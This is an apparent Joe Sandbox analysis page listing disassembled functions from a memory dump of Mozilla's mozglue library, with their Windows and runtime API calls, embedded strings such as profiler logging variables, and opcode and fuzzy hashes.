Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C520039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C520041
GetCurrentThreadId.KERNEL32 ref: 6C520075
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C520082
moz_xmalloc.MOZGLUE(00000048), ref: 6C520090
free.MOZGLUE(?), ref: 6C520104
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C52011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C52005B

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction ID: 16ba300285b9a2ebbc1a860a3f81da1aeb88c992c9ab822fd0fca604534d1208
Opcode Fuzzy Hash: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction Fuzzy Hash: 40419CB5A01244DFCB10DF24CC44A9ABBF1FF89318F814A1EED5A93B80D731A819CB95

Function 6C4E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E7EA7
malloc.MOZGLUE(00000001), ref: 6C4E7EB3

Part of subcall function 6C4ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4ECB49
Part of subcall function 6C4ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4E7F19
malloc.MOZGLUE(?), ref: 6C4E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E7F4D

Strings

d, xrefs: 6C4E7F89

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction ID: 9e70de391897d7a5d0a4a227d810664c63ff356b20a0fa48f6c026394159ac23
Opcode Fuzzy Hash: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction Fuzzy Hash: 9031D871E0434897DB01DB68CC449FEB778EF95318F469629EC4997612FB31A9C8C394

Function 6C4E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4157

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0ec1e20bfe1ad3e5a38f23f896255c5681ad1bb4c8bee250976c80150a410b7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19FB1A00205CFDB41CF68C880F59B7B5BF8C349F2651A9D909AF752D771E886CBA0

Function 6C529D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C528273), ref: 6C529D65
free.MOZGLUE(6C528273,?), ref: 6C529D7C
free.MOZGLUE(?,?), ref: 6C529D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C529E0F
free.MOZGLUE(6C52946B,?,?), ref: 6C529E24
free.MOZGLUE(?,?,?), ref: 6C529E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C529EC8
free.MOZGLUE(6C52946B,?,?,?), ref: 6C529EDF
free.MOZGLUE(?,?,?,?), ref: 6C529EF5

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction ID: 4840b7eec325057a650773039e5599e43f1bf5562b26bcf31a47683eeefee944
Opcode Fuzzy Hash: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction Fuzzy Hash: A07180B0909B418BD712CF18C88095BF7F5FF99325B44961DE89A5BB41EB34E885CBC1

Function 6C52DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C52DDCF

Part of subcall function 6C50FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50FA4B

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE0D
free.MOZGLUE(00000000), ref: 6C52DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF32

Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DB86
Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF65
free.MOZGLUE(?), ref: 6C52DF80

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction ID: 4c49798dfbd4e7fc538480e9b9cd31625e4cbc36a712a0b41057e8afac0b43ff
Opcode Fuzzy Hash: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction Fuzzy Hash: 1A51C5726016009BD721DB28CC806AEB3F6BFD5318F96051CD85A53B90D739F91ACBD6

Function 6C535D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DC9
std::_Facet_Register.LIBCPMT ref: 6C535DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E45

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction ID: c2e9d66c7664e757c26c9a7ae4a40edfb6a1e0f7dd50b8b1ea0aa2aabe4a4484
Opcode Fuzzy Hash: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction Fuzzy Hash: B641AE307002148FCB00EFA9CC88AAE77B5EF89314F855469E50A9B791EB34ED05CB65

Function 6C50CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4D31A7), ref: 6C50CDDD

Strings

<jemalloc>, xrefs: 6C50CF9F, 6C50CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C50CFA4, 6C50CFB8

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction ID: bdf98bc23b7036e1ce9493a52bbdfc81020d7f9e8ef2ee296cd1bea1899adbb8
Opcode Fuzzy Hash: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction Fuzzy Hash: A231B4707402055BEF11BEA58C45BAE7BB5AF82718F714519F611EBA80DB70F400CBB6

Function 6C4DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4DEDCC
CreateFileW.KERNEL32 ref: 6C4DEE08
free.MOZGLUE(00000000), ref: 6C4DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4DEE32

Part of subcall function 6C4DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4DEBB5
Part of subcall function 6C4DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C50D7F3), ref: 6C4DEBC3
Part of subcall function 6C4DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C50D7F3), ref: 6C4DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4DEDC1

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction ID: 43eec158095b96cf7f8926302b25dc59d230676e3bacc979cb5fb84344dd10ce
Opcode Fuzzy Hash: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction Fuzzy Hash: 5F51BE71D052058BDB01EF68C890EEEF7B1AF59318F46852DE8556B740EB30B949C7E2

Function 6C54A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A565

Part of subcall function 6C54A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A4BE
Part of subcall function 6C54A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C54A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C54A6B6

Strings

0, xrefs: 6C54A5FB
z, xrefs: 6C54A6AE

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction ID: a22cfca7e0ec4809c0bcded96d63afa0a00d75b452c2d2d3adea9534b530caf2
Opcode Fuzzy Hash: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction Fuzzy Hash: C94128759087459FC781DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E549CB82

Function 6C519420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
__Init_thread_footer.LIBCMT ref: 6C51949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C51946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C519459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C51947D

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction ID: 1f048b8e297d4584bead40d8e529396be2c55c97babd6f4513f76065092be8d0
Opcode Fuzzy Hash: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction Fuzzy Hash: F001D470A04101CBE700DBADDC19A5E33B5AB4A32DF460A37ED0B86F51E761E864899F

Function 6C520F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C520F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C520F88
GetCurrentThreadId.KERNEL32 ref: 6C520FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C521067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C52114B

Part of subcall function 6C518AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C531563), ref: 6C518BD5

free.MOZGLUE(?), ref: 6C521174
free.MOZGLUE(?), ref: 6C521186

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction ID: 1ee12da314afcc678db07f88ae9bd056a9d4ad0b99b708fb6127eed362170356
Opcode Fuzzy Hash: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction Fuzzy Hash: C4619975A043409BDB10DF24CC80BABB7F6BFC9318F05891DE88957691EB75E849CB82

Function 6C4DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6AC

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4DB61E), ref: 6C4DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB79A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction ID: b8ba31d479dfa37159fbea0e31962d52bd514a2a4767d916ef85a0a841be9043
Opcode Fuzzy Hash: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction Fuzzy Hash: 8441B3B2D001159FCB04EF68DC90EAEB7B5BF84324F264669E825E7780E731AD0587E1

Function 6C4DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C555104), ref: 6C4DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DEFEC
free.MOZGLUE(?), ref: 6C4DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4DF065
moz_xmalloc.MOZGLUE ref: 6C4DF072

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

